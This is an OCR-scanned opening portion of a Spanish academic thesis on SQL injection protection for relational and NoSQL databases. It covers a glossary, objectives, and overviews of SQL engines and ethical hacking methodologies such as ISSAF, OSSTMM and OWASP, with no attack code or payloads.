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GLOSARIO

ATAQUE INYECCION SQL: Consiste en la intrusion o alteracion de comandos SQL
para observar datos aparentemente ocultos con el fin de ingresar, sobrescribir,
extraer datos o ejecutar comandos que pongan en riesgo una base de datos o el
equipo que la contenga. Por lo general se basa en un inadecuado filtrado de la
informacion que se envia por medio de los campos y/o variables que usa un sitio
web. Puede ser explotada a través del método GET como del método POST. El
atacante puede usar scripts automatizados con el fin de ejecutar varios comandos
hasta lograr realizar la intrusion a la base de datos.

XSS - CROSS SITE SCRIPTING: Se basa en inyectar cédigo llamados scripts
atacando al cliente y no al servidor, la finalidad de este ataque es robar informacion,
enviar amenazas, obtener las cookies de acceso o ataques de phishing. El
desarrollo de estas amenazas se encuentra normalmente en lenguajes como
JavaScript, HTML, VBScript, ActiveX o Flash.

NMAP: Es una herramienta de codigo abierto para escaneo de red y auditoria de
seguridad, puede servir incluso para inventariar la red. Utiliza paquetes IP para
establecer qué servicios se encuentran disponibles en una red, qué sistemas
operativos se estan ejecutando, qué tipo de filtrado de paquetes o cortafuegos se
esta utilizando, entre otras caracteristicas.

SQLMAP: Herramienta de pruebas de penetracion de cddigo abierto que automatiza
el proceso de detectar y explotar los errores de inyecciéon SQL y de carga de los
servidores de bases de datos. Soporte completo para MySQL, Oracle, PostgreSQL,
Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP
MaxDB, HSQLDB e Informix. Soporte completo para seis técnicas de inyeccion
SQL: boolean-based blind, time-based blind, error-based, UNION query-based,
stacked queries and out-of-band.

OWAS ZAP: Herramienta que permite analizar sitios web con el fin de buscar sus
vulnerabilidades con el objetivo de aprender técnicas de penetracibn o mejorar la
seguridad del sitio. Tiene en cuenta la lista de vulnerabilidades web de OWASP, por
lo que incluye una gran cantidad de herramientas que pueden detectar casi
cualquier vulnerabilidad que pueda existir en un sitio web.

VIRTUALBOX: es un software de virtualizacion x86 y AMD64 / Intel64 para uso
empresarial y doméstico. Permite crear un sistema virtual en un Unico medio o
anfitrion a través de un software que permite representarlo como si estuviera
instalado fisicamente. Existen diferentes tipos de virtualizacion entre los cuales
estan la de servidores, de escritorio, de aplicaciones y de almacenamiento entre
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otros. Actualmente, VirtualBox funciona en los anfitriones de Windows, de Linux, de
Macintosh, y de Solaris y apoya un gran nimero de sistemas operativos del huésped
incluyendo pero no limitado a Windows (NT 4.0, 2000, XP, servidor 2003, Vista,
Windows 7, Windows 8, Windows 10), DOS / Windows 3.x, Linux (2.4, 2.6, 3.xy 4.x),
Solaris y OpenSolaris, OS / 2 y OpenBSD.

KALI LINUX: Es una distribucion de Linux avanzada para pruebas de penetracion y
auditorias de seguridad. Es una reconstruccién de BackTrack Linux, se adhiere al
estandar del entorno Debian y contiene mas de 300 herramientas de pruebas de
penetracion.

AMENAZA: Causa potencial de un incidente no deseado, que puede provocar dafios
a un sistema o a la organizacion. (ISO/IEC 27000).

ATAQUES WEB: ejecutado contra una aplicacion cliente y se origina desde un lugar
en la Web, ya sea desde sitios legitimos atacados o sitios maliciosos que han sido
creados para efectuar los ataques.

FIREWALL: es una aplicacién de seguridad disefiada para bloquear las conexiones
en determinados puertos del sistema.

SISTEMA DE DETECCION DE INTRUSOS INTRUSION DETECTION System
(IDS): Es una herramienta (hardware o software) que complementa a un esquema
de seguridad de una organizacion utilizada principalmente para identificar ataques
en tiempo real, guardar los registros y reportar al equipo de TI con el fin de tomar
acciones al respecto.

WIRESHARK: es un analizador de protocolos, funciona en Windows y Linux,
permite realizar un sniffing en la red donde se encuentre conectado.
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RESUMEN

Al paso de los afios las organizaciones han crecido y han aumentado su inversion
en tecnologia, con el auge de los computadores y el internet cada dia se automatiza
mas sus actividades y buscan mejorar sus procesos Yy sus sistemas de informacion.
Sin embargo, al avanzar en este campo también se debe tener en cuenta que las
vulnerabilidades estan presentes en los diferentes sistemas: llamese, redes, bases
de datos, aplicaciones, sistemas operativos entre otros y que a partir de ese
crecimiento surgen las amenazas sobre la integridad, confidencialidad e integridad
de los datos.

El proposito del presente trabajo es identificar algunas de las principales técnicas o
métodos para la proteccion frente a ataques por inyeccion SQL tanto en las
transacciones como en los accesos de algunos motores de base de datos sql y
bases de datos no sql, mediante la realizacion de test de penetracion a través de
entornos de prueba controlados que permitan explorar y explotar vulnerabilidades
con la utilizacién de una herramienta muy conocida como lo es Kali Linux, que
contiene una suite completa para realizar diferentes pruebas con el fin de determinar
aguellas mejores practicas que orienten los procedimientos y mecanismos de
control para prevenir un evento que atente contra la confidencialidad, integridad y
disponibilidad de la informacion salvaguardada en las bases de datos.
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ABSTRACT

Over the years organizations have grown and increased their investment in
technology with the rise of computers and the internet every day is more automated
its activities and seek to improve their processes and information systems. However,
in advancing in this field it should also be taken into account that vulnerabilities are
present in the different systems networks, databases, applications, operating
systems and more and that from that growth threats on the integrity, confidentiality
and integrity of the data arise.

The purpose of this paper is to identify some of the main techniques or methods for
protection against SQL injection attacks both in the transactions and in the accesses
of some sqgl database engines and non-sql databases by conducting penetration
testing through controlled test environments that allow the exploration and
exploitation of vulnerabilities with the use of a well-known tool like Kali Linux which
contains a complete suite to perform different tests in order to determine those best
practices that guide the procedures and control mechanisms to prevent an event
that violates the confidentiality, integrity and availability of information safeguarded
in databases
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INTRODUCCION

En la actualidad la seguridad informatica ha venido adquiriendo gran importancia
tanto a nivel personal como dentro de la mision las entidades, siendo indispensable
en este ultimo la elaboracién de estrategias para el mejoramiento de los recursos
tecnologicos en la implementacion de un Sistema de gestion de seguridad de la
informacion. En una entidad siempre prevalecera la importancia de mantener sus
activos seguros, una parte fundamental de los activos de una empresa es la
informacion; datos sensibles que en manos equivocadas pueden acarrear serios
problemas con consecuencias no deseadas. Los profesionales en el area de la
seguridad informatica deben contar con conocimientos bien fundados y ejercer sus
funciones siempre enmarcadas en las normas vigentes y los procedimientos
creados para ello.

Con el acceso a Internet es muy probable el enfrentarse a riesgos y amenazas cada
vez mas sofisticados, los atacantes también evolucionan y mejoran sus técnicas de
ataque con el fin de obtener resultados eficaces y salir siempre exitosos.
Implementar un esquema de seguridad en una organizacién es una tarea que
requiere bastante planificacion donde se involucran aspectos no solamente
tecnologicos como software y hardware sino de recurso humano, tanto de las
personas que trabajan en el area de Tl como de las personas que laboran en la
entidad. Los ataques hacia una organizacion dependeran de las intenciones y los
fines que busca el atacante, no obstante, la informacion que maneja la organizacion
también determina qué tipo de estructura y herramientas de seguridad se utilizaria
para protegerla, teniendo en cuenta estos aspectos es asi que el presente
documento aborda algunos de los principales ataques que ocurren en las bases de
datos mediante diversas técnicas que se han desarrollado a medida que la
tecnologia ha avanzado a través del tiempo. Los ciberdelincuentes se enfocan en
el estudio de las vulnerabilidades que los DBMS puedan tener, a su vez que tienen
en cuenta las formas de reaccion de los usuarios permitiendo hacer mas facil su
tarea de poder hacer una intrusion y alterar, dafiar o sustraer los datos incidiendo
contra la confidencialidad, integridad o disponibilidad de la informacion con el fin de
obtener un beneficio por lo general de tipo monetario.

También se muestran algunas de las herramientas que permiten el andlisis de
vulnerabilidades a las bases de datos, asi como otras que permiten realizar una
evaluacion de los controles implementados con el fin de identificar factores claves
de éxito para blindarse contra este tipo de atagues y mejorar la seguridad en las
bases de datos.
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1. DEFINICION DEL PROBLEMA

1.1. PLANTEAMIENTO DEL PROBLEMA

La inyeccion SQL cumple casi dos décadas desde su aparicion y pese a los avances
tecnologicos en seguridad, continla siendo una de las vulnerabilidades mas
conocidas y explotadas. En la actualidad encabeza la lista del Top 10 de amenazas
OWASP. El impacto negativo de los ataques a traves de la historia ha demostrado
que pueden abarcar entro otros: la pérdida de cifras millonarias, vulneracién de
datos personales de millones de usuarios, desprestigio, suplantacién de identidad,
etc.

En la actualidad se observan debilidades frente a las metodologias de identificacion
y puesta en préactica de técnicas o mecanismos que orienten sobre la proteccién
frente a ataques por inyeccidn SQL de las bases de datos, ni existe un compendio
gue abarque las mejores recomendaciones en los esquemas de seguridad en bases
de datos. En la red se puede encontrar diversa informacién respecto a este tipo de
ataques por inyeccion SQL, sin embargo, se requiere de tiempo para buscar y
encontrar aquellas caracteristicas que serviran como mecanismo de proteccidn para
una base de datos determinada. Los estudiantes de seguridad informatica,
especialistas de seguridad informética, especialistas en bases de datos,
administradores de bases de datos, auditores informéticos, entre otros, son
protagonistas del dia a dia, cuando se requiera de tiempo, espacio, paciencia y a
veces contar con suerte cuando este tipo de ataques por inyeccion SQL se
presentan y se debe esperar por la documentacién de los sitios oficiales de los
diversos motores de bases de datos o buscar la solucién por sus propios medios
descubriendo asi una labor compleja, que demanda una duracion considerable y
dando ocasion a los ciberdelincuentes a que actuen y logren su cometido.

1.2. FORMULACION DEL PROBLEMA

¢ Como el estudio y la busqueda de técnicas de ataque por inyeccion SQL en
motores de bases de datos SQL y NOSQL permitirh mejorar y plantear mecanismos
0 procedimientos para su proteccion?
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2. JUSTIFICACION

La tarea desde el area de Tl especificamente del equipo de seguridad informética,
en una organizacion, es evitar que los ataques tengan éxito, para ello se deberia
proteger a la Base de Datos lo mejor posible, aunque algunas veces los esfuerzos
parecen ser insuficientes, los atacantes dejaran de atacar si observan que estan al
frente de una Base de Datos bien protegida. En informética las bases de datos
tienden a ser declaradas siempre como un objetivo de ataque, puede suceder tanto
en una base de datos local como a una base de datos accedida remotamente a
través de una red como Internet.

Contar con un procedimiento documentado con las técnicas 0 mecanismos de
proteccion a bases de datos relacionales y no relacionales, permitird reducir esa
brecha de oportunidades potenciales que tiene el atacante y la eficacia de los
ataques reales ejecutados. Los métodos de proteccibn que se identifiquen
dilucidaran que son efectivos y garantizaran que las bases de datos estan disefiadas
con un esquema de seguridad para soportar y afrontar los peligros existentes en la
red y la Internet, impidiendo de una u otra forma ser victimas de robo, desfalcos
monetarios, suplantaciones, comercio de datos, incumplimientos de indole legal,
como por ejemplo el cuidado con el tratamiento de datos personales o de
publicacion de datos confidenciales, entre otros tantos problemas que pueden ser
evitados de una manera proactiva aplicando aquellos conocimientos que ofrece la
misma tecnologia a través de la utilizacion de diferentes técnicas que analizadas y
probadas con anterioridad permitan adoptar metodologias convenientes,
adecuadas y efectivas que blinden la arquitectura de seguridad en las bases de
datos y que provea a estudiantes de seguridad informética, especialistas de
seguridad informatica, especialistas en bases de datos administradores de bases
de datos, auditores informaticos, usuarios de bases de datos, un documento que
oriente de una u otra forma las buenas practicas y lecciones aprendidas frente a la
proteccién de ataques a bases de datos por Inyeccién SQL.
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3. OBJETIVOS

3.1. OBJETIVO GENERAL

Plantear un procedimiento para la proteccion de ataques por inyeccion SQL en
bases de datos relacionales y no relacionales mediante el estudio y la busqueda de
técnicas aplicadas a partir de un escenario de pruebas.

3.2. OBJETIVOS ESPECIFICOS

Realizar el levantamiento de informacion sobre Metodologias de ethical haking y
mecanismos de seguridad para las bases de datos relacionales y no relacionales.

Determinar y aplicar las metodologias de ethical hacking en entorno de prueba con
sistemas de gestion de bases de datos relacionales y no relacionales.

Presentar propuesta con los mecanismos o técnicas de proteccién para evitar los
ataques a bases de datos relacionales y no relacionales.
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4. MARCO REFERENCIAL

4.1. ANTECEDENTES

e Enelafo 2011 IVAN CAMILO GOMEZ, presenta trabajo de grado para adquirir
el titulo de ingeniero en telecomunicaciones. El proyecto de grado titulado
“DISENO DE METODOLOGIA PARA VERIFICAR LA SEGURIDAD EN
APLICACIONES WEB CONTRA INYECCIONES SQL”.

Este documento presenta una serie de procedimientos para la adecuada
verificacion de seguridad en paginas web basado en un ciclo PHVA |, esta
revisibn va encaminada a la mitigacion de los riesgos en cuanto a ataques por
inyeccion de codigo SQL

e En el afio 2008 Angel prado montes, presenta tesis a la universidad
PONTIFICIA COMILLAS Madrid — Espafa, con el fin de alcanzar el titulo de
ingeniero en informatica. La tesis se llamo6: “PERTRECHAMIENTO DE
ATAQUES DE INYECCION SQL CIEGA Y EXTRACCION DE CONTENIDO EN
SISTEMAS SQL SERVER MEDIANTE EXFILTRACION DE DATOS VIADNS Y
ENCAMINAMIENTO SOBRE LA ZONA DESMILITARIZADA”.

e Enelafio 2012 Yury Daniel Zavaleta De la Cruz, presenta trabajo de grado a la
universidad Privada del norte en Perd, con el fin de optar al titulo de ingeniera
de sistemas. El proyecto se llamé: “IMPACTO DE ATAQUES SQL INJECTION,
EN LOS PORTALES WEB INTERACTIVOS DE LAS EMPRESAS DEL
SECTOR Tl DE LA CIUDAD DE TRUJILLO”

4.2. MARCO TEORICO

En una entidad siempre prevalecera la importancia de mantener sus activos
seguros, una parte fundamental de los activos de una empresa es la informacion;
datos sensibles que en manos equivocadas pueden acarrear serios problemas con
consecuencias no deseadas. Existen dos campos que velan para la puesta en
marcha este blindaje deseado: la seguridad informatica y la seguridad de la
informacion.

Seguridad Informatica: Se define como la implementacion de estrategias técnicas

para que los recursos de un sistema de informacion garanticen la confidencialidad,
integridad y disponibilidad de la informacion.
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La diferencia entre estos dos campos es su mision especifica; la seguridad
informatica busca que los recursos de un sistema sean capaces de brindar
seguridad, teniendo un enfoque tecnoldgico y la seguridad de la informacion busca
crear e implementar planes, protocolos y procedimientos que brinden seguridad,
teniendo un enfoque estratégico.

Si bien, los dos campos son diferentes en sus conceptos, ambos trabajan de la
mano para que la informacion sea siempre confidencial, integra y disponible en una
entidad.

Dando alcance a los conceptos presentados anteriormente, se ve la necesidad de
desarrollar una metodologia que brinde herramientas para la proteccion del sitio
donde se almacenan generalmente los datos: las bases de datos.

Para llevar a cabo el presente proyecto Inicialmente se realiza el levantamiento de
informacion sobre las Metodologias de ethical haking y mecanismos de seguridad
para las bases de datos relacionales y no relacionales que se en la actualidad se
hayan desarrollado, paso asi llevar a cabo un proceso de investigacion mas eficaz,
administrando de forma correcta el tiempo de desarrollo.

Las variables que se tienen en cuenta son los tres pilares fundamentales de la
informacion a saber, la confidencialidad integridad y disponibilidad, entiéndase la
confidencialidad como aquella propiedad de la informacién de ser consultada y
modificada con autorizacion explicita, la integridad como la propiedad de
mantenerla exacta y completa desde su origen hasta disposicion final, y la
disponibilidad como la propiedad de estar disponible valga la redundancia, en el
momento y lugar para quien este autorizado en consultarla y/o modificarla, de igual
manera la seguridad informética aplica estos tres pilares con un enfoque de tipo
tecnologico, como el software, hardware, redes, bases de datos, sistemas
operativos, entre otros activos que es donde la informacion se genera, modifica,
trasmite y elimina.

4.2.1. SQL. Sus siglas corresponden a Structured Query Language, es un lenguaje
de acceso a bases de datos relacionales basado en la programacion declarativa de
alto nivel. Este lenguaje se caracteriza por el uso de algebra y calculo relacional
como herramienta para la realizacion de las consultas. La utilizacion de manejo de
registros permite una gran eficacia en su codigo y la orientacion a objetos.

SQL se compone de sentencias, cada sentencia es una instruccion que se da a la
base de datos incluyendo las actividades que requerimos y los datos para la base
de datos.

Las sentencias se dividen en 3 grupos: DDL, DML y DCL.
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DDL: lenguaje de definicion de datos, sentencias que permiten la definicion y la
creacion de objetos en las bases de datos

DML: Lenguaje de Manipulacion de Datos, sentencias que operan los elementos de
la base de datos

DCL: Lenguaje de Control de Datos, sentencias que trabajan la administracion y
control para la base de datos.

Las instrucciones basicas y las més utilizadas de SQL son las siguientes.

Tabla 1. Resumen de instrucciones basicas SQL

Instruccion Descripcion

CREATE Creacion de algun elemento en la base de datos.

SELECT Utilizado para la consulta de registros de una base de datos.

INSERT Permite el cargue de conjunto de datos

UPDATE Permite la modificacion de registros o campos de la base de
datos

DELETE Permite eliminar registros de la base de datos

DROP Utilizado para la eliminacion de tablas

FROM Con esta instruccion se especifica la tabla a la cual se le
seleccionaran los registros

GROUP BY Se utiliza para separar los registros para ser agrupados

ORDER BY Utilizado para la organizacion de los registros en un grupo

AND, OR y NOT | Operadores légicos que especifican el “y”, “0” y la negacion
l6gica, respectivamente

Fuente: el autor.

4.2.2. MYSQL. Es un sistema de gestion de bases de datos relacional de fuente
abierta, multihilo y multiusuario; desarrollado por la compafiia MySQL AB y
comprada en el afio 2010 por la compafia ORACLE corporation. Actualmente se
considera como las mas popular, teniendo gran importancia en las aplicaciones
WEB. Usuado por grandes empresas en el desarrollo de sus aplicaciones como
Facebook, google, Youtube, twitter, entre otras.

Se caracteriza por la operacion de bases datos multiusuario en diferentes lenguajes
de programacion, igualmente se destacado por la alta velocidad en la busqueda de
datos y registros. Por su licencia de GNU, en MYSQL se puede desarrollar cualquier
tipo de aplicacion,
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4.2.3. Oracle Database. Es un sistema de gestion de bases de datos objeto —
relacional de tipo cliente / servidor, creado por Oracle Corporation. En la actualidad
es considerado el sistema de bases de datos mas robusto y completo, teniendo una
gran acogida en el mercado por grandes empresas, permitiendo a las mismas
gestionar y controlar grandes cantidades de informacion.

Oracle database puede ser ejecutado por multiples plataformas, ademas desde
pequefias y grandes maquinas.

Su ultima version Oracle Database 12c, cuenta con una nueva caracteristica: Oracle
Partitioning, que mejora sustancialmente en las éareas de rendimiento,
administracion de grandes cantidades de informacion y disminucion de costos en
almacenamiento. En la figura 1 se observa el particionado de tablas que se maneja
en la version de Oracle Database 12c.

Figura 1. Particionado de tablas en Oracle Database 12c

A nonpartitioned table A partitioned table
can have partitioned or can have partitioned or
nonpartitioned indexes. nonpartitioned indexes.

Doc[ams[ass) Coc[enalass

v
v

January - March February March

i O i

Table 1

Table 2

Fuente:http://www.oracle.com/technetwork/es/images/new-partitioning-1-
2244547 .jpg

4.2.4. Trigger. Los trigger o disparadores son objetos almacenados en las bases
de datos, como su nombre lo indica, este objeto se dispara o se activa una vez se
ejecuta una instruccion que modifiqgue la tabla a la cual esta definido. Las
instrucciones por las cuales el trigger se ejecuta son las de INSERT, DELETE y
UPDATE, siendo de gran importancia para garantizar la integridad de la informacion
y su coherencia.

La sintaxis basica para la creacion de un Trigger inicia con la instruccidon “créate
trigger” acompanado del nombre que se le asigne, seguido de la instruccién “ON”
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acompafado del nombre de la tabla a la que se va a asociar el trigger, acontinuacion
definimos los eventos para los cuales el trigger se activara: “for EVENTO - insert,
delete o update”.

Existen dos tipos de trigger, los Row Triggers que se ejecutan una vez de llamen
desde la tabla asociada y los Statement Trigger que sin importar las veces que se
cumpla la condicidn este se ejecutara una sola vez.

4.2.5. PL/ISQL. Es un lenguaje de procesamiento procedimental que ofrece un
grupo de instrucciones de la programacion estructurada, disefiado para la inclusion
de sentencias SQL dentro su sintaxis, siendo un complemento y un medio por el
cual se aumenta los alcances de SQL.

PL SQL se programa en bloques que se utilizan como funciones u operaciones, los
bloques son guardados como objetos dentro de la base de datos

4.2.6. Inyeccion SQL. Es una de las técnicas mas reconocidas en el area de la
seguridad informética. Esta técnica se basa en la inyeccion de cddigo para la
modificacion de una cadena de consulta de una base de datos, generalmente se
realizan en los formularios donde busca usurpar las consultas que ya estan
definidas. Esta técnica tiene unos fines muy precisos como lo son: la modificacion
de informacion alojada en las bases de datos, la exposicion de informacion
guardada de manera oculta y/o la ejecucion de comandos maliciosos; esta ultima
una de las mas peligrosas. El ataque de inyeccibn SQL se presenta mas
frecuentemente en aplicaciones PHP y ASP.

Los comandos utilizados para el desarrollo de este tipo de ataques nos mas que la
utilizacion de sintaxis SQL.

4.2.7. Ethical Hacking. Es el proceso por el cual, se utilizan las mismas técnicas y
herramientas de un atacante malicioso para atacar a una organizacion de una
manera controlada; esta filosofia resulta de la practica probada: "para atrapar a un
ladron debes pensar como un ladrén".?

Las técnicas de ethical hacking se basan generalmente en pruebas de penetracion
controladas conocidas como pentest. Dichas pruebas se dividen en las siguientes:

Pentest con objetivo: se buscan vulnerabilidades en elementos seleccionados o
priorizados por el usuario

1 http:/imww.cibertec.edu.pe/pdf/division-de-alta-tecnologia/plataforma-tecnologica/ethical-hacking.pdf
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Pentest sin objetivo: se buscan vulnerabilidades en todos los elementos del sistema
o los sistemas de propiedad de la empresa usuaria

Pentest ciega: la prueba de penetracion ciega, se basa en la simulacion de un
ataque real a la informacion publica que posee la empresa. Estas pruebas pueden
ser con la informacién que da la empresa, con informacion publicada o dentro de la
empresa para probar la eficacia de los controles existentes.

Una de la forma clasica actualmente de proteccion ante intrusion no autorizada es
el uso de captcha, el cual busca identificar que quien este ingresando la informacién
sea una persona y no una maquina, impidiendo que se pueda ejecutar
automaticamente scripts.

Otra forma de evitar el uso de la inyeccion SQL es mediante la limpieza de las
variables antes de cada consulta, no permitiendo el uso de caracteres especiales
(propio de este ataque). Haciendo esta limpieza de las variables, no se autorizara
la ejecucion o inclusion de otras consultas continuas a la inicial.

Igualmente, el uso de URL amigables o semanticas hard mas complicado para el
atacante la deteccibn de nuestras variables y asi impedira que incluyan
instrucciones para las mismas

4.2.8. Metodologias de ethical hacking. Al paso de los afios las organizaciones han
crecido y han aumentado su inversibn en tecnologia, con el auge de los
computadores y el internet cada dia se automatiza mas y buscan mejorar sus
procesos Yy sus sistemas de informacién. Sin embargo, al avanzar en este campo
también se debe tener en cuenta que las vulnerabilidades estan presentes en los
diferentes sistemas: llAmese, redes, bases de datos, aplicaciones, sistemas
operativos entre otros y que a partir de ese crecimiento surgen las amenazas sobre
la integridad, confidencialidad e integridad de los datos, una de ellas a través de la
denominada intrusion a los sistemas informaticos de la organizacién. Al existir este
tipo de amenazas surge la necesidad de realizar pruebas de accesos no autorizados
de investigar y practicar métodos de intrusion que permita observar el
comportamiento en la organizacion, es asi que nace el ethical hacking, que en
resumen es un servicio prestado por un profesional o grupo de profesionales
enfocado hacia la seguridad informética o de la informacién mediante escaneos de
vulnerabilidades y testeos de penetracion. Existe sin embargo hoy en dia una
clasificacion de estos profesionales conocidos también como hackers, que abarcan
desde los inofensivos o buenos como hacker blanco, hasta los mas peligrosos
hacker negro por solo mencionar estos dos y que dependiendo de los principios y
caracteristicas en su modus operandi y muy significativamente por su ética al
desarrollar el trabajo, se deriva el nombre de hacking ético pues el profesional en
seguridad informatica o de la informacion no debe comprometer ninguno de los
activos de la organizacion.
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4.2.9. ISSAF Information System Security Assessment Framework. Es un marco
de trabajo desarrollado para la evaluacion de Seguridad de Sistemas de
Informacién, una metodologia estructurada de analisis de seguridad en varios
dominios y detalles especificos de test o pruebas conocidos como Criterios de
Evaluacion. Su objetivo es proporcionar procedimientos muy detallados para el
testing de sistemas de informacion que reflejan situaciones reales con el fin de
encontrar vulnerabilidades?. En la figura 2 se muestra el modelo general de las fases
de planificacion y preparacion de un test de penetracion.

Figura 2. Fases de test de penetracion

Approach & Methodology

(1) Planning & Preparation

(2)

Vulnorability
identification

Penetration

Testing
Methodology

- ZmESOOMOOD

(3) Reporting, Clean Up and Destroy
Artifacts

Fuente:
http://2.bp.blogspot.com/_NcZQ3njhgn8/SeSxbyfodYI/AAAAAAAAADC/NOW3hjQN
fTE/s1600-h/453px-Image001.png

El enfoque incluye tres fases: Planificacion y Preparacion, Evaluacion Reportes,
Limpieza y Destruccién de Objeto. Los criterios de evaluacion se componen de los
siguientes elementos:

¢ Una descripcion del criterio de evaluacion

e Puntos y Objetivos a cubrir

e Los pre-requisitos para conducir la evaluacién

2http://datateca.unad.edu.co/contenidos/233016/EXE_SAM/leccin_29 issaf.html
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e El proceso mismo de evaluacion

e Elinforme de los resultados esperados
e Las contramedidas y recomendaciones
¢ Referencias y Documentacion Externa.

En la primera fase se planifica y prepara la prueba, se debe tener un acuerdo
firmado entre las partes interesadas. De igual manera se especifica las personas
gue haran parte del equipo de trabajo, fechas, tiempos estimados de la prueba,
definiendo los respectivos roles y responsabilidades.

En la fase de evaluacion se lleva acabo el test de penetracion y se desarrolla como
se muestra en la imagen efectuando los siguientes pasos:

e Recoleccion de Informacion

e Mapeo de la red de trabajo

¢ I|dentificacion de vulnerabilidades

¢ Penetracion

e Obtener Acceso y escalada de privilegios
e Enumeracion

e Comprometer usuarios remotos y sitios

e Mantener Acceso

En la dltima fase se presentan los reportes de los resultados en el trascurso de las
pruebas de penetracion, si llegase a detectarse un factor critico, debera ser
informado para asegurar que la organizacién es comunicada y proceder analizar las
posibilidades de corregir el problema identificado.

Después de finalizar la ejecucién de los casos de prueba, se elabora un informe
escrito con la descripcion de los resultados detallados de las pruebas y las
recomendaciones para la mejora. Algunas cosas que se incluyen en el informe son:
Resumen de Gestion, Alcance del proyecto, Herramientas utilizadas (Incluyendo
Exploits), Fechas y horas reales en las que se ejecutaron las pruebas en el sistema
y la informacién de salida de las pruebas realizadas.

En esta metodologia la informacidén que se genera y/o se almacena en los sistemas

de prueba deben ser eliminado. Cuando por algin motivo no es posible remover
dicha informacion, deben relacionarse en el informe técnico con su respectiva
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ubicacion para que la organizacién pueda eliminarlos después de la formalizacion
en la entrega del informe.

4.2.10. OSSTMM Open Source Security Testing Methodology Manual. Manual de
la Metodologia Abierta del Testeo de Seguridad, para pruebas y andlisis de
seguridad realizado siguiendo la metodologia OML (Open Methodology License) Es
uno de los mas completos y cominmente utilizados, la metodologia OSSTMM se
centra en los detalles técnicos de los elementos que necesitan ser comprobados,
qué hacer antes, durante y después de las pruebas de seguridad, asi como evaluar
los resultados obtenidos3.

La metodologia se encuentra dividida en varias secciones, a su vez en una serie de
modulos de testeo especificos, a través de los cuales se observan cada una de las
dimensiones de seguridad, integradas con las tareas a llevar a cabo en los
diferentes puntos de revision:

Seccion A - Seguridad de la Informacion

Seccion B — Seguridad de los Procesos

Seccion C — Seguridad en las tecnologias de Internet
Seccion D — Seguridad en las Comunicaciones
Seccion E — Seguridad Inalambrica

Seccion F — Seguridad Fisica

Actualmente el manual se encuentra en su tercera version, no solo abarca ambitos
técnicos y de operacion de seguridad, ademas regula aspectos tales como: las
credenciales del profesional responsable de la prueba, la manera en que la prueba
debe ser comercializada, la forma de mostrar los resultados de la prueba, las
normas éticas y legales al formalizar la prueba, los intervalos de tiempo para
desarrollar la prueba y un componente muy importante el andlisis y evaluacion de
riesgos.

La metodologia estd compuesta por cuatro fases y estas a su vez por diecisiete
moddulos, estos mddulos contienen tareas y procedimientos, los cuales varian
dependiendo de que se esta evaluando.

A. Fase de induccion. Determina la especificacion de las pruebas, el alcance y
sus restricciones. En esta parte se recopila informacion relacionada con las leyes,

3http://datateca.unad.edu.co/contenidos/233016/EXE_SAM/leccin_27 osstmm.htm
I
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ética, politicas, regulaciones industriales y la cultura que influyen en los requisitos
de seguridad y privacidad de la organizacion a la que se aplicara las pruebas.

B. Fase de Interaccion. Se define el ambito de aplicacion, son determinados los
objetivos que seran probados. Se establecen los pardmetros de Visibilidad, Acceso,
Confianza y la verificacion de los controles frente al no repudio, confidencialidad,
privacidad e integridad.

C. Fase de Investigacion. Busca identificar en qué medida se cumplen las politicas
y reglas de seguridad con la realidad de las operaciones.

D.Fase de Intervencion. Son verificados los controles de autenticacion,
indemnizacion y sometimiento. También se realizan pruebas para la medicién de la
consistencia de los controles para mantener la continuidad de las operaciones, asi
como su capacidad de recuperacion. La parte final de toda la metodologia consiste
en la revisién de los logs, para la basqueda de la evidencia de las pruebas, lo cual
representa verificar el control de alarma.

4.2.11. OWASP Open Web Application Security Project. Proyecto abierto de
seguridad de aplicaciones web, este marco de trabajo tiene por objetivo, resaltar
areas con carencias, ayudar a las organizaciones a comprobar sus aplicaciones
web con el propésito de construir software fiable y seguro, aplicando las guias y
listados de comprobacién del OWASP [3]
https://www.owasp.org/images/8/80/Gu%C3%ADa_de pruebas_de OWASP_ver_
3.0.pdf

La metodologia estd compuesta por 2 partes, la primera contiene los siguientes
puntos:

e Principios del testeo

e Explicacion de las técnicas de testeo.

e Explicacion general acerca del framework de testeo de OWASP.

En la segunda parte, se planifican las técnicas para realizar pruebas durante el ciclo
de vida del desarrollo de software. Incorpora en su metodologia de testeo
(https:/lwww.owasp.org/index.php/Main_Page), aspectos claves relacionados con
el Ciclo de Vida del Desarrollo de Software o SDCL con el propdsito de que se
efectie las pruebas antes de que la aplicacion este en produccién. Segun el
proyecto de la organizacion OWASP, el SDLC es un proceso bien conocido por los
desarrolladores. Mediante la integracion de la seguridad en cada fase del SDLC,
permite un enfoque integral a la seguridad de aplicaciones que se apoya en los
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procedimientos ya existentes en la organizacion. Se debe tener en cuenta que
mientras los nombres de las fases pueden cambiar dependiendo del modelo SDLC
usado por una organizacion, cada fase conceptual del arquetipo SDLC sera usada
para desarrollar la aplicacion (es decir, definir, disefiar, desarrollar, implementar,
mantener). Cada fase tiene implicaciones de seguridad que deberan formar parte
del proceso existente, para asegurar un programa de seguridad rentable y
exhaustivo.

Segun lo anterior, se puede referenciar como un programa efectivo de testeo de
aplicaciones web, donde se incluye como elementos a testear: Personas, Procesos
y Tecnologias, definiendo conceptos claves a la vez que introduce un marco de
trabajo especificamente disefiado para evaluar la seguridad de aplicaciones web a
lo largo de su vida.

Paso 1 Antes de iniciar el desarrollo

¢ Revision de Politicas y Estandares

¢ Desarrollo de un Criterio de Medidas y Métricas (Aseguramiento de la
e Trazabilidad)

Paso 2 Durante la definicion y el disefio
Revision de los Requerimientos de Seguridad
Revisién del disefio y/o Arquitectura
Creacién y Revision de modelos UML
Creacion y Revision de modelos y Amenazas

Paso 3 Durante el desarrollo
¢ Revision de Codigo

Paso 4 Durante el desarrollo
e Testeo de Penetracidon sobre la Aplicacion
e Testeo sobre la Administracion y Configuracion

Paso 5 Operacion y mantenimiento
¢ Revisién Operacional

e Chequeos Periddicos

e Control de Cambios
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4.2.12. Owas zap. Herramienta que permite analizar sitios web con el fin de
buscar sus vulnerabilidades con el objetivo de aprender técnicas de penetracion o
mejorar la seguridad del sitio. Tiene en cuenta la lista de vulnerabilidades web de
OWASP, por lo que incluye una gran cantidad de herramientas que pueden
detectar casi cualquier vulnerabilidad que pueda existir en un sitio web.

Las principales caracteristicas de OWASP ZAP son:

¢ Herramienta totalmente gratuita y de codigo abierto.

¢ Posibilidad de asignar un sistema de prioridades.

e Traducida a méas de 12 idiomas, entre ellos, el espafiol.

Posibilidad de comprobar todas las peticiones y respuestas entre cliente y
servidor.

Posibilidad de localizar recursos en un servidor.

Andlisis automaticos.

